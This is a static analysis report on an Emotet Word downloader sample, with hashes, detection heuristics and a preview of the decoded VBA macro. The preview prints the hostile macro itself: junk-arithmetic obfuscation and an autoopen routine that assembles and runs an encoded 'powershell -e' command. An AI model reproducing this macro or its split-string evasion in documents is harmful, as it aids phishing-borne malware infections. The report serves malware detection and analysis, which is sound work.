Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 21019fdba804009e…

MALICIOUS

Office (OLE)

207.0 KB Created: 2019-03-13 20:55:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 2e935527ad5378023516f1e8095bdfbb SHA-1: 310e25c84b963f17b3f8daef01a69032c8db7719 SHA-256: 21019fdba804009eae5d26e4341954a66178838fcd0987bc4c5fa6407cf02ea9
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6895289-0', indicating it is likely an Emotet downloader. Critical heuristics indicate the presence of obfuscated VBA code, specifically the reassembly of 'Win32_Process' and the use of GetObject in an auto-executing macro, which are common Emotet techniques. The VBA macro is designed to execute a second-stage payload, likely through PowerShell, as suggested by the 'Win32_Process' heuristic.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6895289-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6895289-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 43198 bytes
SHA-256: 97a08527aab1582496e0fb22dfd118310a53050b296eeeb81b48da9246f490cc
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wQxUc1"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function wAAxkA()
   If JADABcAB = pCcwDkoG Then
WGGoX1_A = CVar(w_BDCc)
QBxUDD = KABXGBG + CInt(bQZw1QU) * 961238919 * CBool(62085900) + 868567138 / Round(u1DBUDA) - d1AADk + Sqr(882472634) - 695233695 * CByte(454242593)
VAAXQCAA = CInt(BZAkAAQ)
End If
   If nAkBA_ = RBAAxAQ Then
zoBXUoUU = CVar(wAAAZZQ)
loB1XAoB = f4DB44B + CInt(TAUAQo) * 229018548 * CBool(471231596) + 534349951 / Round(HwAoXAAB) - aAcoAxo + Sqr(62125071) - 204768963 * CByte(825500284)
jGUxUA = CInt(NAUGDDAX)
End If
   If IA_AQA = sA1UoDwA Then
VADA_Ax_ = CVar(f_UCwA)
QGZAAk4 = kAA_BAD + CInt(HBGQ111Q) * 253959618 * CBool(381211756) + 718000127 / Round(mAAA1Z) - zAAQAw + Sqr(778097698) - 665066416 * CByte(54714548)
KZxQUQD = CInt(cowUAZZ4)
End If
   If tQ_GAAA = hcBwCo Then
cCAABBAA = CVar(ICCGccA)
dAXAGAU = JBBZAc_Z + CInt(QUkQBA4G) * 220296316 * CBool(957388781) + 26999827 / Round(zAA4DkA) - t_cAGG + Sqr(599840705) - 950783851 * CByte(200289424)
FUAAA4 = CInt(iXxBAk)
End If
   If uCADAAw = zAD_ZoUG Then
RAwGoU = CVar(PA4DcDAQ)
lCUQAA = OwGUXB + CInt(YoAAQC4) * 931946630 * CBool(920129183) + 152326391 / Round(wU1CABC) - dADoUkA + Sqr(160821137) - 577017684 * CByte(845803458)
ZAAAC4Q = CInt(sAAXABAU)
End If
   If VAAkAA = EwcUXc4 Then
lBZUUAAQ = CVar(T1c1UDw)
oQQG4GQ = F1ADkCA + CInt(dUAA44A) * 504769486 * CBool(376439964) + 105908348 / Round(PcZCAA) - vACA_AAD + Sqr(12133259) - 164562475 * CByte(30931431)
iGAZAX = CInt(F1GDXAA)
End If
   If iUA_AAAw = VABABDAB Then
NUkAwkGw = CVar(d4QQQkBC)
rBDBAG = iQB1Bc4C + CInt(LAGCB_A) * 807228904 * CBool(495343738) + 315071154 / Round(acQoCUAA) - vCQ4w1Q + Sqr(778050969) - 923083566 * CByte(832941181)
lxAoU4 = CInt(JoACA4Q)
End If
   If AkxUUZw4 = NAAABA_A Then
WBDAXUG = CVar(WAB4Qk)
XA_QC_Bk = iAAUBAQ + CInt(BoZxAA) * 492852354 * CBool(130086534) + 75907475 / Round(zQDBAU) - YUAxZDx + Sqr(326917461) - 188339933 * CByte(738260160)
CQc_BCAA = CInt(QQAUUoU)
End If
End Function
Sub autoopen()
On Error Resume Next
   If owAXokQw = fX_wAQAA Then
MAkBxQX = CVar(lBDxCAZ)
YADBcZUA = QAAGXAAA + CInt(JDA4BU) * 975802745 * CBool(249000534) + 140572613 / Round(N_UBGD) - jXBA1B + Sqr(747274867) - 278371672 * CByte(182756281)
bAUc4koQ = CInt(bA1AAA)
End If
   If D1AGBAQ = QA14GkQo Then
o4AADU = CVar(wADcwB)
UAUcBZZ = SAA1Bx_ + CInt(qAAAU1Bk) * 799733056 * CBool(961454468) + 728988649 / Round(mAkAU_4A) - YAAwDA + Sqr(136360130) - 42626948 * CByte(626285696)
mQUAkkA = CInt(bx1QAAAD)
End If
NAUACUA (aXAA_A + "po" + iQDAQD + "wersh" + jBZA_A + "ell -e " + Fx1A_QBw + ZQCAcAw + CQZDAA + iDG_AB + j_cZQDD + bC41xZA)
   If HUw1cUA = LoCwCAB Then
KXADUCA = CVar(CBDxAD)
rkAABB = iDA_GU + CInt(q_BwAGA) * 955150590 * CBool(967902850) + 224110698 / Round(KwQ4CAD) - j4ABCk + Sqr(888094657) - 713905496 * CByte(542924881)
UBXBZA = CInt(r1CDGD)
End If
   If MAAGUDAQ = S4wABDAX Then
cAQAAA = CVar(fGUAAD)
qk_CA_XQ = sAAA1A + CInt(OX_oAoDA) * 179019527 * CBool(188723118) + 30717123 / Round(sAAAxU4c) - AGBCAQQD + Sqr(558133687) - 887337815 * CByte(49743506)
YCZB4A1c = CInt(axAoBA)
End If
   If TBAAUUQ = iAAkBxQ Then
sXBCGA = CVar(QABX4Ax)
bAUAxAk = BCCQAQk + CInt(BAUAkk) * 902776260 * CBool(372917033) + 86103442 / Round(wAAG__) - CBQUDw + Sqr(759789344) - 552462619 * CByte(560861399)
PAAQcUCD = CInt(MAAQD_)
End If
End Sub
Function KA_XQCQU()
   If CAkkX4Q = mAGx_UxA Then
loDxAA = CVar(pGZUCAA)
OUAZAAA = nwADBAAA + CInt(kk_ZAAA) * 753420032 * CBool(265151128) + 363107242 / Round(j_oAAC) - DXBoowc_ + Sqr(79036741) - 337435308 * CByte(56800707)
lAUAXBA = CInt(tAGUQc)
End If
   If Sk_oCA4A = DoUxB_UA Then
UAAD_ABC = CVar(DcA_AAU)
zGAAGxBU = wAD4w1 + CInt(UAU4AZA) * 859770658 * CBool(105928604) + 138956962 / Round(rDAwX1) - DDoQUUUA + Sqr(977122528) - 380201169 * CByte(510026321)
ScCcUxA = CInt(uA_xU
... (truncated)